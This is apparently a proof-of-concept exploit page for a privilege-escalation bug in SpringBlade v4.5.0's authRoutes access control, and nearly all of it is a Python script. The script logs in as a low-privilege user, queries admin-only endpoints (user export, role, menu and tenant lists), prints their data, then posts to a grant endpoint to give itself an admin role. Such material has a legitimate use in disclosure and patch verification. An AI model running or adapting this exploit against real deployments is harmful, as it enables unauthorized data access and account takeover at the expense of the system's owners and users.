CVE-2025-70983: SpringBlade v4.5.0 authRoutes权限绕过漏洞

import requests import json # CVE-2025-70983 PoC - SpringBlade authRoutes Privilege Escalation # Target: SpringBlade v4.5.0 # Vulnerability: Incorrect access control in authRoutes function TARGET_URL = "http://target-server.com" def exploit_privilege_escalation(): """ This PoC demonstrates how low-privilege users can bypass access controls in SpringBlade v4.5.0 authRoutes function to escalate privileges to admin level. """ # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/api/blade-auth/login" login_data = { "account": "low_privilege_user", "password": "password123", "tenantId": "000000", "grantType": "password", "tenantDb": "" } response = requests.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") return token = response.json().get("data", {}).get("access_token") print(f"[+] Obtained token: {token}") # Step 2: Exploit authRoutes bypass to access admin endpoints # The vulnerability allows bypassing permission checks admin_endpoints = [ "/api/blade-system/user/export", "/api/blade-system/role/list", "/api/blade-system/menu/list", "/api/blade-system/tenant/list" ] headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Step 3: Access admin functions without proper authorization for endpoint in admin_endpoints: exploit_url = f"{TARGET_URL}{endpoint}" response = requests.get(exploit_url, headers=headers) if response.status_code == 200: print(f"[+] Successfully accessed: {endpoint}") print(f" Response: {response.text[:200]}") else: print(f"[-] Failed to access: {endpoint}") # Step 4: Escalate privileges by modifying user roles escalate_url = f"{TARGET_URL}/api/blade-system/user/grant" escalate_data = { "userIds": ["low_privilege_user_id"], "roleIds": ["admin_role_id"] } response = requests.post(escalate_url, json=escalate_data, headers=headers) if response.status_code == 200: print("[+] Privilege escalation successful!") else: print(f"[-] Privilege escalation failed: {response.status_code}") if __name__ == "__main__": exploit_privilege_escalation()